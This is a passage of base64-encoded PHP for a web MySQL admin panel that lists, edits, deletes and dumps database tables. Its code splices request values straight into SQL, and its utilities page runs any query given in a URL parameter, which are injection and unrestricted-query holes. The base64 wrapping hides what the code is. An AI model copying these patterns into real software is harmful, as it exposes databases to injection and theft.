JHJvd3BlcnBhZ2UgKSB7CgkJZWNobyAiPGlucHV0IHR5cGU9dGV4dCBzaXplPTQgbmFtZT1wYWdl PlxuIjsKCQllY2hvICI8aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J0dvJz5cbiI7Cgl9CgllY2hv ICI8L2Zvcm0+XG4iOwoJZWNobyAiPC9mb250PlxuIjsKfQoKZnVuY3Rpb24gbWFuYWdlRGF0YSgg JGNtZCApIHsKCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRkYm5hbWUsICR0YWJsZW5hbWUsICRQSFBf U0VMRjsKCglpZiggJGNtZCA9PSAiYWRkIiApCgkJZWNobyAiPGgxPkFkZCBEYXRhPC9oMT5cbiI7 CgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApIHsKCQllY2hvICI8aDE+RWRpdCBEYXRhPC9oMT5c biI7CgkJJHBSZXN1bHQgPSBteXNxbF9saXN0X2ZpZWxkcyggJGRibmFtZSwgJHRhYmxlbmFtZSAp OwoJCSRudW0gPSBteXNxbF9udW1fZmllbGRzKCAkcFJlc3VsdCApOwoJCgkJJGtleSA9ICIiOwoJ CWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysgKSB7CgkJCSRmaWVsZCA9IG15c3FsX2ZldGNo X2ZpZWxkKCAkcFJlc3VsdCwgJGkgKTsKCQkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSAp CgkJCQlpZiggJGZpZWxkLT5udW1lcmljID09IDEgKQoJCQkJCSRrZXkgLj0gJGZpZWxkLT5uYW1l IC4gIj0iIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICIgQU5EICI7CgkJCQllbHNlCgkJCQkJ JGtleSAuPSAkZmllbGQtPm5hbWUgLiAiPSciIC4gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICIn IEFORCAiOwoJCX0KCQkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJsZW4oJGtleSktNCApOwoK CQlteXNxbF9zZWxlY3RfZGIoICRkYm5hbWUsICRteXNxbEhhbmRsZSApOwoJCSRwUmVzdWx0ID0g bXlzcWxfcXVlcnkoICRxdWVyeVN0ciA9ICAiU0VMRUNUICogRlJPTSAkdGFibGVuYW1lIFdIRVJF ICRrZXkiLCAkbXlzcWxIYW5kbGUgKTsKCQkkZGF0YSA9IG15c3FsX2ZldGNoX2FycmF5KCAkcFJl c3VsdCApOwoJfQoKCWVjaG8gIjxwIGNsYXNzPWxvY2F0aW9uPiRkYm5hbWUgJmd0OyAkdGFibGVu YW1lPC9wPlxuIjsKCgllY2hvICI8Zm9ybSBhY3Rpb249JyRQSFBfU0VMRicgbWV0aG9kPXBvc3Q+ XG4iOwoJaWYoICRjbWQgPT0gImFkZCIgKQoJCWVjaG8gIjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1l PWFjdGlvbiB2YWx1ZT1hZGREYXRhX3N1Ym1pdD5cbiI7CgllbHNlIGlmKCAkY21kID09ICJlZGl0 IiApCgkJZWNobyAiPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0aW9uIHZhbHVlPWVkaXREYXRh X3N1Ym1pdD5cbiI7CgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1kYm5hbWUgdmFsdWU9 JGRibmFtZT5cbiI7CgllY2hvICI8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT10YWJsZW5hbWUgdmFs dWU9JHRhYmxlbmFtZT5cbiI7CgllY2hvICI8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGlu Zz0yPlxuIjsKCWVjaG8gIjx0cj5cbiI7CgllY2hvICI8dGg+TmFtZTwvdGg+XG4iOwoJZWNobyAi PHRoPlR5cGU8L3RoPlxuIjsKCWVjaG8gIjx0aD5GdW5jdGlvbjwvdGg+XG4iOwoJZWNobyAiPHRo PkRhdGE8L3RoPlxuIjsKCWVjaG8gIjwvdHI+XG4iOwoKCSRwUmVzdWx0ID0gbXlzcWxfZGJfcXVl cnkoICRkYm5hbWUsICJTSE9XIGZpZWxkcyBGUk9NICR0YWJsZW5hbWUiICk7CgkkbnVtID0gbXlz cWxfbnVtX3Jvd3MoICRwUmVzdWx0ICk7CgoJJHBSZXN1bHRMZW4gPSBteXNxbF9saXN0X2ZpZWxk cyggJGRibmFtZSwgJHRhYmxlbmFtZSApOwoKCWZvciggJGkgPSAwOyAkaSA8ICRudW07ICRpKysg KSB7CgkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfYXJyYXkoICRwUmVzdWx0ICk7CgkJJGZpZWxkbmFt ZSA9ICRmaWVsZFsiRmllbGQiXTsKCQkkZmllbGR0eXBlID0gJGZpZWxkWyJUeXBlIl07CgkJJGxl biA9IG15c3FsX2ZpZWxkX2xlbiggJHBSZXN1bHRMZW4sICRpICk7CgoJCWVjaG8gIjx0cj4iOwoJ CWVjaG8gIjx0ZD4kZmllbGRuYW1lPC90ZD4iOwoJCWVjaG8gIjx0ZD4iLiRmaWVsZFsiVHlwZSJd LiI8L3RkPiI7CgkJZWNobyAiPHRkPlxuIjsKCQllY2hvICI8c2VsZWN0IG5hbWU9JHtmaWVsZG5h bWV9X2Z1bmN0aW9uPlxuIjsKCQllY2hvICI8b3B0aW9uPlxuIjsKCQllY2hvICI8b3B0aW9uPkFT Q0lJXG4iOwoJCWVjaG8gIjxvcHRpb24+Q0hBUlxuIjsKCQllY2hvICI8b3B0aW9uPlNPVU5ERVhc biI7CgkJZWNobyAiPG9wdGlvbj5DVVJEQVRFXG4iOwoJCWVjaG8gIjxvcHRpb24+Q1VSVElNRVxu IjsKCQllY2hvICI8b3B0aW9uPkZST01fREFZU1xuIjsKCQllY2hvICI8b3B0aW9uPkZST01fVU5J WFRJTUVcbiI7CgkJZWNobyAiPG9wdGlvbj5OT1dcbiI7CgkJZWNobyAiPG9wdGlvbj5QQVNTV09S RFxuIjsKCQllY2hvICI8b3B0aW9uPlBFUklPRF9BRERcbiI7CgkJZWNobyAiPG9wdGlvbj5QRVJJ T0RfRElGRlxuIjsKCQllY2hvICI8b3B0aW9uPlRPX0RBWVNcbiI7CgkJZWNobyAiPG9wdGlvbj5V U0VSXG4iOwoJCWVjaG8gIjxvcHRpb24+V0VFS0RBWVxuIjsKCQllY2hvICI8b3B0aW9uPlJBTkRc biI7CgkJZWNobyAiPC9zZWxlY3Q+XG4iOwoJCWVjaG8gIjwvdGQ+XG4iOwoJCSR2YWx1ZSA9IGh0 bWxzcGVjaWFsY2hhcnMoJGRhdGFbJGldKTsKCQlpZiggJGNtZCA9PSAiYWRkIiApIHsKCQkJJHR5 cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwpXG4iICk7CgkJCWlmKCAkdHlwZSA9PSAiZW51 bSIgfHwgJHR5cGUgPT0gInNldCIgKSB7CgkJCQllY2hvICI8dGQ+XG4iOwoJCQkJaWYoICR0eXBl ID09ICJlbnVtIiApCgkJCQkJZWNobyAiPHNlbGVjdCBuYW1lPSRmaWVsZG5hbWU+XG4iOwoJCQkJ ZWxzZSBpZiggJHR5cGUgPT0gInNldCIgKQoJCQkJCWVjaG8gIjxzZWxlY3QgbmFtZT0kZmllbGRu YW1lIHNpemU9NCBtdWx0aXBsZT5cbiI7CgkJCQl3aGlsZSggJHN0ciA9IHN0cnRvayggIiciICkg KSB7CgkJCQkJZWNobyAiPG9wdGlvbj4kc3RyXG4iOwoJCQkJCXN0cnRvayggIiciICk7CgkJCQl9 CgkJCQllY2hvICI8L3NlbGVjdD5cbiI7CgkJCQllY2hvICI8L3RkPlxuIjsKCQkJfSBlbHNlIHsK CQkJCWlmKCAkbGVuIDwgNDAgKQoJCQkJCWVjaG8gIjx0ZD48aW5wdXQgdHlwZT10ZXh0IHNpemU9 NDAgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmllbGRuYW1lPjwvdGQ+XG4iOwoJCQkJZWxzZQoJCQkJ CWVjaG8gIjx0ZD48dGV4dGFyZWEgY29scz00MCByb3dzPTMgbWF4bGVuZ3RoPSRsZW4gbmFtZT0k ZmllbGRuYW1lPjwvdGV4dGFyZWE+XG4iOwoJCQl9CgkJfSBlbHNlIGlmKCAkY21kID09ICJlZGl0 IiApIHsKCQkJJHR5cGUgPSBzdHJ0b2soICRmaWVsZHR5cGUsICIgKCwpXG4iICk7CgkJCWlmKCAk dHlwZSA9PSAiZW51bSIgfHwgJHR5cGUgPT0gInNldCIgKSB7CgkJCQllY2hvICI8dGQ+XG4iOwoJ CQkJaWYoICR0eXBlID09ICJlbnVtIiApCgkJCQkJZWNobyAiPHNlbGVjdCBuYW1lPSRmaWVsZG5h bWU+XG4iOwoJCQkJZWxzZSBpZiggJHR5cGUgPT0gInNldCIgKQoJCQkJCWVjaG8gIjxzZWxlY3Qg bmFtZT0kZmllbGRuYW1lIHNpemU9NCBtdWx0aXBsZT5cbiI7CgkJCQl3aGlsZSggJHN0ciA9IHN0 cnRvayggIiciICkgKSB7CgkJCQkJaWYoICR2YWx1ZSA9PSAkc3RyICkKCQkJCQkJZWNobyAiPG9w dGlvbiBzZWxlY3RlZD4kc3RyXG4iOwoJCQkJCWVsc2UKCQkJCQkJZWNobyAiPG9wdGlvbj4kc3Ry XG4iOwoJCQkJCXN0cnRvayggIiciICk7CgkJCQl9CgkJCQllY2hvICI8L3NlbGVjdD5cbiI7CgkJ CQllY2hvICI8L3RkPlxuIjsKCQkJfSBlbHNlIHsKCQkJCWlmKCAkbGVuIDwgNDAgKQoJCQkJCWVj aG8gIjx0ZD48aW5wdXQgdHlwZT10ZXh0IHNpemU9NDAgbWF4bGVuZ3RoPSRsZW4gbmFtZT0kZmll bGRuYW1lIHZhbHVlPVwiJHZhbHVlXCI+PC90ZD5cbiI7CgkJCQllbHNlCgkJCQkJZWNobyAiPHRk Pjx0ZXh0YXJlYSBjb2xzPTQwIHJvd3M9MyBtYXhsZW5ndGg9JGxlbiBuYW1lPSRmaWVsZG5hbWU+ JHZhbHVlPC90ZXh0YXJlYT5cbiI7CgkJCX0KCQl9CgkJZWNobyAiPC90cj4iOwoJfQoJZWNobyAi PC90YWJsZT48cD5cbiI7CglpZiggJGNtZCA9PSAiYWRkIiApCgkJZWNobyAiPGlucHV0IHR5cGU9 c3VibWl0IHZhbHVlPSdBZGQgRGF0YSc+XG4iOwoJZWxzZSBpZiggJGNtZCA9PSAiZWRpdCIgKQoJ CWVjaG8gIjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nRWRpdCBEYXRhJz5cbiI7CgllY2hvICI8 aW5wdXQgdHlwZT1idXR0b24gdmFsdWU9J0NhbmNlbCcgb25DbGljaz0naGlzdG9yeS5iYWNrKCkn PlxuIjsKCWVjaG8gIjwvZm9ybT5cbiI7Cn0KCmZ1bmN0aW9uIG1hbmFnZURhdGFfc3VibWl0KCAk Y21kICkgewoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxk bmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIsICRlcnJNc2c7CgoJJHBSZXN1bHQgPSBteXNxbF9s aXN0X2ZpZWxkcyggJGRibmFtZSwgJHRhYmxlbmFtZSApOwoJJG51bSA9IG15c3FsX251bV9maWVs ZHMoICRwUmVzdWx0ICk7CgoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5kbGUg KTsKCWlmKCAkY21kID09ICJhZGQiICkKCQkkcXVlcnlTdHIgPSAiSU5TRVJUIElOVE8gJHRhYmxl bmFtZSBWQUxVRVMgKCI7CgllbHNlIGlmKCAkY21kID09ICJlZGl0IiApCgkJJHF1ZXJ5U3RyID0g IlJFUExBQ0UgSU5UTyAkdGFibGVuYW1lIFZBTFVFUyAoIjsKCWZvciggJGkgPSAwOyAkaSA8ICRu dW0tMTsgJGkrKyApIHsKCQkkZmllbGQgPSBteXNxbF9mZXRjaF9maWVsZCggJHBSZXN1bHQgKTsK CQkkZnVuYyA9ICRHTE9CQUxTWyRmaWVsZC0+bmFtZS4iX2Z1bmN0aW9uIl07CgkJaWYoICRmdW5j ICE9ICIiICkKCQkJJHF1ZXJ5U3RyIC49ICIgJGZ1bmMoIjsKCQlpZiggJGZpZWxkLT5udW1lcmlj ID09IDEgKSB7CgkJCSRxdWVyeVN0ciAuPSAkR0xPQkFMU1skZmllbGQtPm5hbWVdOwoJCQlpZigg JGZ1bmMgIT0gIiIgKQoJCQkJJHF1ZXJ5U3RyIC49ICIpLCI7CgkJCWVsc2UKCQkJCSRxdWVyeVN0 ciAuPSAiLCI7CgkJfSBlbHNlIHsKCQkJJHF1ZXJ5U3RyIC49ICInIiAuICRHTE9CQUxTWyRmaWVs ZC0+bmFtZV07CgkJCWlmKCAkZnVuYyAhPSAiIiApCgkJCQkkcXVlcnlTdHIgLj0gIicpLCI7CgkJ CWVsc2UKCQkJCSRxdWVyeVN0ciAuPSAiJywiOwoJCX0KCX0KCSRmaWVsZCA9IG15c3FsX2ZldGNo X2ZpZWxkKCAkcFJlc3VsdCApOwoJaWYoICRmaWVsZC0+bnVtZXJpYyA9PSAxICkKCQkkcXVlcnlT dHIgLj0gJEdMT0JBTFNbJGZpZWxkLT5uYW1lXSAuICIpIjsKCWVsc2UgCgkJJHF1ZXJ5U3RyIC49 ICInIiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiJykiOwoKCW15c3FsX3F1ZXJ5KCAkcXVl cnlTdHIgLCAkbXlzcWxIYW5kbGUgKTsKCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOwoKCXZpZXdE YXRhKCAiIiApOwp9CgpmdW5jdGlvbiBkZWxldGVEYXRhKCkgewoJZ2xvYmFsICRteXNxbEhhbmRs ZSwgJGRibmFtZSwgJHRhYmxlbmFtZSwgJGZpZWxkbmFtZSwgJFBIUF9TRUxGLCAkcXVlcnlTdHIs ICRlcnJNc2c7CgoJJHBSZXN1bHQgPSBteXNxbF9saXN0X2ZpZWxkcyggJGRibmFtZSwgJHRhYmxl bmFtZSApOwoJJG51bSA9IG15c3FsX251bV9maWVsZHMoICRwUmVzdWx0ICk7CgoJJGtleSA9ICIi OwoJZm9yKCAkaSA9IDA7ICRpIDwgJG51bTsgJGkrKyApIHsKCQkkZmllbGQgPSBteXNxbF9mZXRj aF9maWVsZCggJHBSZXN1bHQsICRpICk7CgkJaWYoICRmaWVsZC0+cHJpbWFyeV9rZXkgPT0gMSAp CgkJCWlmKCAkZmllbGQtPm51bWVyaWMgPT0gMSApCgkJCQkka2V5IC49ICRmaWVsZC0+bmFtZSAu ICI9IiAuICRHTE9CQUxTWyRmaWVsZC0+bmFtZV0gLiAiIEFORCAiOwoJCQllbHNlCgkJCQkka2V5 IC49ICRmaWVsZC0+bmFtZSAuICI9JyIgLiAkR0xPQkFMU1skZmllbGQtPm5hbWVdIC4gIicgQU5E ICI7Cgl9Cgkka2V5ID0gc3Vic3RyKCAka2V5LCAwLCBzdHJsZW4oJGtleSktNCApOwoKCW15c3Fs X3NlbGVjdF9kYiggJGRibmFtZSwgJG15c3FsSGFuZGxlICk7CgkkcXVlcnlTdHIgPSAgIkRFTEVU RSBGUk9NICR0YWJsZW5hbWUgV0hFUkUgJGtleSI7CglteXNxbF9xdWVyeSggJHF1ZXJ5U3RyLCAk bXlzcWxIYW5kbGUgKTsKCSRlcnJNc2cgPSBteXNxbF9lcnJvcigpOwoKCXZpZXdEYXRhKCAiIiAp Owp9CgpmdW5jdGlvbiBmZXRjaF90YWJsZV9kdW1wX3NxbCgkdGFibGUpCnsKCWdsb2JhbCAkbXlz cWxIYW5kbGUsJGRibmFtZTsKCQoJbXlzcWxfc2VsZWN0X2RiKCAkZGJuYW1lLCAkbXlzcWxIYW5k bGUgKTsKCSRxdWVyeV9pZCA9IG15c3FsX3F1ZXJ5KCJTSE9XIENSRUFURSBUQUJMRSAkdGFibGUi LCRteXNxbEhhbmRsZSk7CgkkdGFibGVkdW1wID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1ZXJ5X2lk LCBNWVNRTF9BU1NPQyk7CgkkdGFibGVkdW1wID0gIkRST1AgVEFCTEUgSUYgRVhJU1RTICR0YWJs ZTtcbiIgLiAkdGFibGVkdW1wWydDcmVhdGUgVGFibGUnXSAuICI7XG5cbiI7CgoJZWNobyAkdGFi bGVkdW1wOwoKCS8vIGdldCBkYXRhCgkkcm93cyA9IG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9N ICR0YWJsZSIsJG15c3FsSGFuZGxlKTsKCSRudW1maWVsZHM9bXlzcWxfbnVtX2ZpZWxkcygkcm93 cyk7Cgl3aGlsZSAoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyb3dzLCBNWVNRTF9OVU0pKQoJ ewoJCSR0YWJsZWR1bXAgPSAiSU5TRVJUIElOVE8gJHRhYmxlIFZBTFVFUygiOwoKCQkkZmllbGRj b3VudGVyID0gLTE7CgkJJGZpcnN0ZmllbGQgPSAxOwoJCS8vIGdldCBlYWNoIGZpZWxkJ3MgZGF0 YQoJCXdoaWxlICgrKyRmaWVsZGNvdW50ZXIgPCAkbnVtZmllbGRzKQoJCXsKCQkJaWYgKCEkZmly c3RmaWVsZCkKCQkJewoJCQkJJHRhYmxlZHVtcCAuPSAnLCAnOwoJCQl9CgkJCWVsc2UKCQkJewoJ CQkJJGZpcnN0ZmllbGQgPSAwOwoJCQl9CgoJCQlpZiAoIWlzc2V0KCRyb3dbIiRmaWVsZGNvdW50 ZXIiXSkpCgkJCXsKCQkJCSR0YWJsZWR1bXAgLj0gJ05VTEwnOwoJCQl9CgkJCWVsc2UKCQkJewoJ CQkJJHRhYmxlZHVtcCAuPSAiJyIgLiBteXNxbF9lc2NhcGVfc3RyaW5nKCRyb3dbIiRmaWVsZGNv dW50ZXIiXSkgLiAiJyI7CgkJCX0KCQl9CgoJCSR0YWJsZWR1bXAgLj0gIik7XG4iOwoKCQllY2hv ICR0YWJsZWR1bXA7CgoJfQoJQG15c3FsX2ZyZWVfcmVzdWx0KCRyb3dzKTsKfQoKZnVuY3Rpb24g ZHVtcCgpIHsKCWdsb2JhbCAkbXlzcWxIYW5kbGUsICRhY3Rpb24sICRkYm5hbWUsICR0YWJsZW5h bWU7CgoJaWYoICRhY3Rpb24gPT0gImR1bXBUYWJsZSIgKXsKCgkJaGVhZGVyKCJDb250ZW50LWRp c3Bvc2l0aW9uOiBmaWxlbmFtZT0kdGFibGVuYW1lLnNxbCIpOwoJCWhlYWRlcignQ29udGVudC10 eXBlOiB1bmtub3duL3Vua25vd24nKTsKCQlmZXRjaF90YWJsZV9kdW1wX3NxbCgkdGFibGVuYW1l KTsKCQllY2hvICJcblxuXG4iOwoJCWVjaG8gIlxyXG5cclxuXHJcbiMjIyAkdGFibGVuYW1lIFRB QkxFIERVTVAgQ09NUExFVEVEICMjIyI7CgkJZXhpdDsJCQoJCQkJCgl9ZWxzZXsKCQloZWFkZXIo IkNvbnRlbnQtZGlzcG9zaXRpb246IGZpbGVuYW1lPSRkYm5hbWUuc3FsIik7CgkJaGVhZGVyKCdD b250ZW50LXR5cGU6IHVua25vd24vdW5rbm93bicpOwoJCQoJCW15c3FsX3NlbGVjdF9kYiggJGRi bmFtZSwgJG15c3FsSGFuZGxlICk7CgkJJHF1ZXJ5X2lkID0gbXlzcWxfcXVlcnkoIlNIT1cgdGFi bGVzIiwkbXlzcWxIYW5kbGUpOwoJCXdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHF1 ZXJ5X2lkLCBNWVNRTF9OVU0pKQoJCXsKCQkJCWZldGNoX3RhYmxlX2R1bXBfc3FsKCRyb3dbMF0p OwoJCQkJZWNobyAiXG5cblxuIjsKCQkJCWVjaG8gIlxyXG5cclxuXHJcbiMjIyAkcm93WzBdIFRB QkxFIERVTVAgQ09NUExFVEVEICMjIyI7CgkJCQllY2hvICJcblxuXG4iOwoJCX0KCQllY2hvICJc clxuXHJcblxyXG4jIyMgJGRibmFtZSBEQVRBQkFTRSBEVU1QIENPTVBMRVRFRCAjIyMiOwoJCWV4 aXQ7CQkKCgl9Cgp9CgpmdW5jdGlvbiB1dGlscygpIHsKCWdsb2JhbCAkUEhQX1NFTEYsICRjb21t YW5kOwoJZWNobyAiPGgxPlV0aWxpdGllczwvaDE+XG4iOwoJaWYoICRjb21tYW5kID09ICIiIHx8 IHN1YnN0ciggJGNvbW1hbmQsIDAsIDUgKSA9PSAiZmx1c2giICkgewoJCWVjaG8gIjxocj5cbiI7 CgkJZWNobyAiU2hvd1xuIjsKCQllY2hvICI8dWw+XG4iOwoJCWVjaG8gIjxsaT48YSBocmVmPSck UEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9c2hvd19zdGF0dXMnPlN0YXR1czwvYT5cbiI7 CgkJZWNobyAiPGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1zaG93 X3ZhcmlhYmxlcyc+VmFyaWFibGVzPC9hPlxuIjsKCQllY2hvICI8bGk+PGEgaHJlZj0nJFBIUF9T RUxGP2FjdGlvbj11dGlscyZjb21tYW5kPXNob3dfcHJvY2Vzc2xpc3QnPlByb2Nlc3NsaXN0PC9h PlxuIjsKCQllY2hvICI8L3VsPlxuIjsKCQllY2hvICJGbHVzaFxuIjsKCQllY2hvICI8dWw+XG4i OwoJCWVjaG8gIjxsaT48YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9Zmx1 c2hfaG9zdHMnPkhvc3RzPC9hPlxuIjsKCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX2hvc3RzIiAp IHsKCQkJaWYoIG15c3FsX3F1ZXJ5KCAiRmx1c2ggaG9zdHMiICkgIT0gZmFsc2UgKQoJCQkJZWNo byAiPGZvbnQgc2l6ZT0yIGNvbG9yPXJlZD4tIFN1Y2Nlc3M8L2ZvbnQ+IjsKCQkJZWxzZQoJCQkJ ZWNobyAiPGZvbnQgc2l6ZT0yIGNvbG9yPXJlZD4tIEZhaWw8L2ZvbnQ+IjsKCQl9CgkJZWNobyAi PGxpPjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rpb249dXRpbHMmY29tbWFuZD1mbHVzaF9sb2dzJz5M b2dzPC9hPlxuIjsKCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX2xvZ3MiICkgewoJCQlpZiggbXlz cWxfcXVlcnkoICJGbHVzaCBsb2dzIiApICE9IGZhbHNlICkKCQkJCWVjaG8gIjxmb250IHNpemU9 MiBjb2xvcj1yZWQ+LSBTdWNjZXNzPC9mb250PiI7CgkJCWVsc2UKCQkJCWVjaG8gIjxmb250IHNp emU9MiBjb2xvcj1yZWQ+LSBGYWlsPC9mb250PiI7CgkJfQoJCWVjaG8gIjxsaT48YSBocmVmPSck UEhQX1NFTEY/YWN0aW9uPXV0aWxzJmNvbW1hbmQ9Zmx1c2hfcHJpdmlsZWdlcyc+UHJpdmlsZWdl czwvYT5cbiI7CgkJaWYoICRjb21tYW5kID09ICJmbHVzaF9wcml2aWxlZ2VzIiApIHsKCQkJaWYo IG15c3FsX3F1ZXJ5KCAiRmx1c2ggcHJpdmlsZWdlcyIgKSAhPSBmYWxzZSApCgkJCQllY2hvICI8 Zm9udCBzaXplPTIgY29sb3I9cmVkPi0gU3VjY2VzczwvZm9udD4iOwoJCQllbHNlCgkJCQllY2hv ICI8Zm9udCBzaXplPTIgY29sb3I9cmVkPi0gRmFpbDwvZm9udD4iOwoJCX0KCQllY2hvICI8bGk+ PGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3RhYmxlcyc+VGFi bGVzPC9hPlxuIjsKCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3RhYmxlcyIgKSB7CgkJCWlmKCBt eXNxbF9xdWVyeSggIkZsdXNoIHRhYmxlcyIgKSAhPSBmYWxzZSApCgkJCQllY2hvICI8Zm9udCBz aXplPTIgY29sb3I9cmVkPi0gU3VjY2VzczwvZm9udD4iOwoJCQllbHNlCgkJCQllY2hvICI8Zm9u dCBzaXplPTIgY29sb3I9cmVkPi0gRmFpbDwvZm9udD4iOwoJCX0KCQllY2hvICI8bGk+PGEgaHJl Zj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyZjb21tYW5kPWZsdXNoX3N0YXR1cyc+U3RhdHVzPC9h PlxuIjsKCQlpZiggJGNvbW1hbmQgPT0gImZsdXNoX3N0YXR1cyIgKSB7CgkJCWlmKCBteXNxbF9x dWVyeSggIkZsdXNoIHN0YXR1cyIgKSAhPSBmYWxzZSApCgkJCQllY2hvICI8Zm9udCBzaXplPTIg Y29sb3I9cmVkPi0gU3VjY2VzczwvZm9udD4iOwoJCQllbHNlCgkJCQllY2hvICI8Zm9udCBzaXpl PTIgY29sb3I9cmVkPi0gRmFpbDwvZm9udD4iOwoJCX0KCQllY2hvICI8L3VsPlxuIjsKCX0gZWxz ZSB7CgkJJHF1ZXJ5U3RyID0gZXJlZ19yZXBsYWNlKCAiXyIsICIgIiwgJGNvbW1hbmQgKTsKCQkk cFJlc3VsdCA9IG15c3FsX3F1ZXJ5KCAkcXVlcnlTdHIgKTsKCQlpZiggJHBSZXN1bHQgPT0gZmFs c2UgKSB7CgkJCWVjaG8gIkZhaWwiOwoJCQlyZXR1cm47CgkJfQoJCSRjb2wgPSBteXNxbF9udW1f ZmllbGRzKCAkcFJlc3VsdCApOwoKCQllY2hvICI8cCBjbGFzcz1sb2NhdGlvbj4kcXVlcnlTdHI8 L3A+XG4iOwoJCWVjaG8gIjxocj5cbiI7CgoJCWVjaG8gIjx0YWJsZSBjZWxsc3BhY2luZz0xIGNl bGxwYWRkaW5nPTIgYm9yZGVyPTA+XG4iOwoJCWVjaG8gIjx0cj5cbiI7CgkJZm9yKCAkaSA9IDA7 ICRpIDwgJGNvbDsgJGkrKyApIHsKCQkJJGZpZWxkID0gbXlzcWxfZmV0Y2hfZmllbGQoICRwUmVz dWx0LCAkaSApOwoJCQllY2hvICI8dGg+Ii4kZmllbGQtPm5hbWUuIjwvdGg+XG4iOwoJCX0KCQll Y2hvICI8L3RyPlxuIjsKCgkJd2hpbGUoIDEgKSB7CgkJCSRyb3dBcnJheSA9IG15c3FsX2ZldGNo X3JvdyggJHBSZXN1bHQgKTsKCQkJaWYoICRyb3dBcnJheSA9PSBmYWxzZSApIGJyZWFrOwoJCQll Y2hvICI8dHI+XG4iOwoJCQlmb3IoICRqID0gMDsgJGogPCAkY29sOyAkaisrICkKCQkJCWVjaG8g Ijx0ZD4iLmh0bWxzcGVjaWFsY2hhcnMoICRyb3dBcnJheVskal0gKS4iPC90ZD5cbiI7CgkJCWVj aG8gIjwvdHI+XG4iOwoJCX0KCQllY2hvICI8L3RhYmxlPlxuIjsKCX0KfQoKZnVuY3Rpb24gaGVh ZGVyX2h0bWwoKSB7CglnbG9iYWwgJFBIUF9TRUxGOwoJCmVjaG8gJwo8aHRtbD4KPGhlYWQ+Cjx0 aXRsZT5NeVNRTCBJbnRlcmZhY2U8L3RpdGxlPgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgo8IS0t CnAubG9jYXRpb24gewoJY29sb3I6ICMxMWJiMzM7Cglmb250LXNpemU6IHNtYWxsOwp9CmgxIHsK CWNvbG9yOiAjQTRBMjYwOwp9CnRoIHsKCWJhY2tncm91bmQtY29sb3I6ICNCREJFNDI7Cgljb2xv cjogI0ZGRkZGRjsKCWZvbnQtc2l6ZTogeC1zbWFsbDsKfQp0ZCB7CgliYWNrZ3JvdW5kLWNvbG9y OiAjREVERkE1OwoJZm9udC1zaXplOiB4LXNtYWxsOwp9CmZvcm0gewoJbWFyZ2luLXRvcDogMDsK CW1hcmdpbi1ib3R0b206IDA7Cn0KYSB7Cgl0ZXh0LWRlY29yYXRpb246bm9uZTsKCWNvbG9yOiAj ODQ4MjAwOwoJZm9udC1zaXplOngtc21hbGw7Cn0KYTpsaW5rIHsKfQphOmhvdmVyIHsKCWJhY2tn cm91bmQtY29sb3I6I0VFRUZENTsKCWNvbG9yOiM2NDYyMDA7Cgl0ZXh0LWRlY29yYXRpb246bm9u ZSAgICAgICAgICAgICAgIAp9Ci8vLS0+Cjwvc3R5bGU+CjwvaGVhZD4KPGJvZHk+Cic7Cn0KCmZ1 bmN0aW9uIGZvb3Rlcl9odG1sKCkgewoJZ2xvYmFsICRteXNxbEhhbmRsZSwgJGRibmFtZSwgJHRh YmxlbmFtZSwgJFBIUF9TRUxGLCAkVVNFUk5BTUU7CgoJZWNobyAiPGhyPlxuIjsKCWVjaG8gIjxm b250IHNpemU9MiBjb2xvcj1ibHVlPlskVVNFUk5BTUVdPC9mb250PiAtIFxuIjsKCgllY2hvICI8 YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWxpc3REQnMnPkRhdGFiYXNlIExpc3Q8L2E+IHwgXG4i OwoJaWYoICR0YWJsZW5hbWUgIT0gIiIgKQoJCWVjaG8gIjxhIGhyZWY9JyRQSFBfU0VMRj9hY3Rp b249bGlzdFRhYmxlcyZkYm5hbWU9JGRibmFtZSZ0YWJsZW5hbWU9JHRhYmxlbmFtZSc+VGFibGUg TGlzdDwvYT4gfCAiOwoJZWNobyAiPGEgaHJlZj0nJFBIUF9TRUxGP2FjdGlvbj11dGlscyc+VXRp bHM8L2E+IHxcbiI7CgllY2hvICI8YSBocmVmPSckUEhQX1NFTEY/YWN0aW9uPWxvZ291dCc+TG9n 